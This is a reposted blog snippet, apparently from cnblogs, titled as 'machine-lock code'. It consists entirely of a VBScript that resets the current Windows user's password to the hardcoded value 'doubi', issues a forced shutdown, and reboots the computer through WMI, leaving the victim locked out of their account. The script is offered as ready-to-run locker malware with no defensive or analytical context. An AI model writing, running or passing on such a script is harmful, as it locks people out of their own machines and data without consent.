锁机代码.vbs

Const strPassword = "doubi"'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj

set gj=createobject("wscript.shell")

gj.run"shutdown -f -t"'

Set objWMI = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
objWMI.Security_.ImpersonationLevel=3
objWMI.Security_.Privileges.Add 18
Set colOS=objWMI.InstancesOf ("Win32_OperatingSystem where Primary=true")
For Each clsOS in colOS
clsOS.Reboot()
Next

转载于:https://www.cnblogs.com/WYlover/p/10729132.html

你可能感兴趣的:(锁机代码.vbs)